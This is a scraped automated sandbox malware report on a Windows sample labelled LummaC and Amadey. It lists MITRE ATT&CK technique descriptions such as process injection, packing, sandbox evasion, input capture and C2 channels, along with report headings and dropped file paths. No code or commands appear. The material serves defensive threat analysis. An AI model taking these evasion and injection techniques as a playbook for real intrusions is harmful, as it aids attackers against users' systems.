Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79AB.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C7B.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7CF9.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5AC.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA86D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA919.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre